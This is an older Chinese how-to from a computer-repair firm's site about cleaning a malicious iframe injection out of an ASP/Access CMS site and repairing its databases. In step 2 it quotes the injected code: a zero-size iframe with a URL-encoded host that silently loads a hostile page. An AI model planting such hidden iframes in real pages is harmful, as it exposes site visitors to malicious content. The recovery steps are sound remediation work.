服务项目:电脑维修 | 域名注册 | 虚拟主机 | 网站制作 | 网站推广 | 企业邮箱 |
首页 服务方案 技术支持与下载 个性化服务 关于家龙
User :

Pass :
认证说明
在线预约修电脑
在线提交制作网站要求
阅读选项: 自动滚屏[左键停止]

菜鸟都能操作的Access数据库网站,被注入iframe后的修复办法


2008年8月17日 回龙观电脑网

网站使用的程序:CreateLive CMS v3(编写语言ASP)

数据库:access

前天发现网站打不开,一检查发现大部分asp页面都被 <iframe> </iframe> 注入恶意AD。 因为

数据库是使用 .ASP 为后缀,所以也没有幸免。造成网站瘫痪。


由于没有及时备份网站,现在只能尽力想办法恢复

先说下使用到的软件(都是绿色的):
Adobe Dreamweaver CS3 中文绿色版
http://www.xdowns.com/soft/1/95/2007/Soft_37526.html

数据恢复工具 EasyRecovery Professional 6.10.07 绿色汉化精简版
http://www.xdowns.com/soft/6/99/2006/Soft_32313.html

CreateLive CMS v3原始代码一份

1、备份
在进行恢复之前先把中病毒的网站文件全部copy一份。


2、清除网站被注入的病毒代码
使用Dreamweaver随便打开几个被注入的网页,一般会在网站底部找到被注入的代码。把代码复制

下来。

<Iframe src="http://%69%70%6F%71%69%2E%39%39%39%39%2E%6C%61/" width="0" height="0"></iframe>


使用Dreamweaver的查找替换功能

查找范围:网站文件夹,
搜 索 :源代码
查 找 :把上面的注入代码复制下来,
点击右边的“替换全部”

这样就完成了网站被注入的病毒代码的批量清除。


3、数据库的修复
仔细检查刚才替换后的结果,发现有个四个asp文件是乱码,判断这些文件可能是数据库

因为被批量替换以后的数据库文件被破坏了所以打不开。
去前面copy的网站文件下找到这四个.asp文件,复制出来以后。把它的后缀名改为.mdb
使用EasyRecovery进行access数据库的修复


点击 下一步 就能自动修复数据库了。这里要注意的是原数据库和修复后的数据库不能存放在同一个目录。


4、数据库数据的检查与整理
找到CreateLive CMS v3原始数据库。打开刚刚修复的数据库(需要安装office access)
检查下两个数据库中的表是否一样多。

打开每个表,检查下里面的字段是不是一样。

如果一样直接把修复的数据库中的数据,直接复制到原始数据库的对应表中。
这样做的目的是:解决数据库恢复后一些字段的类型发生变化。
最明显的是“ID的自动编号字段”

如果发现字段不一样。可以直接把这个表导入到 原始数据库 中进行替换。
在该表打开的状态下进行导出,选择要导入的原始数据库即可。

上面的工作做完以后把,另外的三个数据库网站也检查一下。


5、恢复网站。
把修改好的四个数据库文件,修改为网站原来的名字。
替换到网站相应目录。就完成了网站的修复工作。


打印全文】 【关闭
站内地图 | 帮助中心 | 意见反馈 | 招聘信息 | 联系我们 版权所有:2003 - 2008 回龙观电脑网

热线电话:010 - 62843143